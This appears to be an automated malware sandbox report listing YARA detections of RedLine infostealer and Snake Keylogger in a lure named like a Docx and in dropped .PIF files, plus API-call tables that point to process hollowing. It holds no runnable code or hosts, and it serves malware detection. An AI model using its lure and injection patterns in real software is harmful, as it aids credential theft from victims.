Source: 4.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.Cneehezx.PIF.21496c78.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.D.G Governor Istek,Docx.exe.21ab13d8.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 6.2.Cneehezx.PIF.214d58a8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.D.G Governor Istek,Docx.exe.21a1c948.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3435325759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000001.2421840333.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000001.2342337171.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.3435459349.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D8254 NtReadVirtualMemory,	0_2_029D8254
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D84C4 NtUnmapViewOfSection,	0_2_029D84C4
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DDACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,	0_2_029DDACC
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DDA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	0_2_029DDA44
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DDBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_029DDBB0
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D8BB0 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_029D8BB0
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D79B4 NtAllocateVirtualMemory,	0_2_029D79B4
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D7D00 NtWriteVirtualMemory,	0_2_029D7D00
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D8BAE GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_029D8BAE
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D79B2 NtAllocateVirtualMemory,	0_2_029D79B2
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DD9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	0_2_029DD9F0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_02958254 NtReadVirtualMemory,	6_2_02958254
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_029584C4 NtUnmapViewOfSection,	6_2_029584C4
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_0295DACC NtCreateFile,NtWriteFile,NtClose,	6_2_0295DACC
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_0295DA44 NtDeleteFile,	6_2_0295DA44
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_02958BB0 Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	6_2_02958BB0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_0295DBB0 NtOpenFile,NtReadFile,NtClose,	6_2_0295DBB0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_029579B4 NtAllocateVirtualMemory,	6_2_029579B4
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_02957D00 NtWriteVirtualMemory,	6_2_02957D00
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_02958BAE Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	6_2_02958BAE
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_029579B2 NtAllocateVirtualMemory,	6_2_029579B2
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_0295D9F0 NtDeleteFile,	6_2_0295D9F0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE8254 NtReadVirtualMemory,	10_2_02AE8254
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE84C4 NtUnmapViewOfSection,	10_2_02AE84C4
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AEDACC RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	10_2_02AEDACC
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AEDA44 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02AEDA44
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE8BB0 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	10_2_02AE8BB0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AEDBB0 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	10_2_02AEDBB0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE79B4 NtAllocateVirtualMemory,	10_2_02AE79B4
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE7D00 NtWriteVirtualMemory,	10_2_02AE7D00
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE8BAE GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	10_2_02AE8BAE
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AE79B2 NtAllocateVirtualMemory,	10_2_02AE79B2
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AED9F0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02AED9F0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029D85DC CreateProcessAsUserW,

0_2_029D85DC

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C20C4	0_2_029C20C4
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00408C60	4_2_00408C60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0040DC11	4_2_0040DC11
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00407C3F	4_2_00407C3F
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00418CCC	4_2_00418CCC
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00406CA0	4_2_00406CA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_004028B0	4_2_004028B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0041A4BE	4_2_0041A4BE
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00418244	4_2_00418244
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00401650	4_2_00401650
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00402F20	4_2_00402F20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_004193C4	4_2_004193C4
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00418788	4_2_00418788
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00402F89	4_2_00402F89
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00402B90	4_2_00402B90
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_004073A0	4_2_004073A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1CF015C0	4_2_1CF015C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1CF015B1	4_2_1CF015B1
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1CF01320	4_2_1CF01320
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1CF01311	4_2_1CF01311
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1F6EE660	4_2_1F6EE660
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1F6E0A60	4_2_1F6E0A60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1F6E0A50	4_2_1F6E0A50
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1F6EC0F0	4_2_1F6EC0F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_1F6E7C98	4_2_1F6E7C98
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8F888	4_2_20A8F888
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8C480	4_2_20A8C480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8ECF8	4_2_20A8ECF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8B8F0	4_2_20A8B8F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A82C08	4_2_20A82C08
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8D010	4_2_20A8D010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A80040	4_2_20A80040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8D5D8	4_2_20A8D5D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8A1D0	4_2_20A8A1D0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A87138	4_2_20A87138
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8E168	4_2_20A8E168
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8AD60	4_2_20A8AD60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8BEB8	4_2_20A8BEB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8F2C0	4_2_20A8F2C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A80608	4_2_20A80608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8CA48	4_2_20A8CA48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8DBA0	4_2_20A8DBA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8A798	4_2_20A8A798
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8B328	4_2_20A8B328
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A8E730	4_2_20A8E730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A80006	4_2_20A80006
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A805F7	4_2_20A805F7
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A86780	4_2_20A86780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A82BF9	4_2_20A82BF9
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20A86771	4_2_20A86771
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA82A0	4_2_20AA82A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AABCA0	4_2_20AABCA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA62B0	4_2_20AA62B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA5480	4_2_20AA5480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAD280	4_2_20AAD280
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA7CD8	4_2_20AA7CD8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAB6D8	4_2_20AAB6D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAEE28	4_2_20AAEE28
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA8E30	4_2_20AA8E30
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA0608	4_2_20AA0608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA8868	4_2_20AA8868
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAC268	4_2_20AAC268
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA0040	4_2_20AA0040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAE058	4_2_20AAE058
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA9FB8	4_2_20AA9FB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAA580	4_2_20AAA580
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA1198	4_2_20AA1198
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA99E8	4_2_20AA99E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA93F8	4_2_20AA93F8
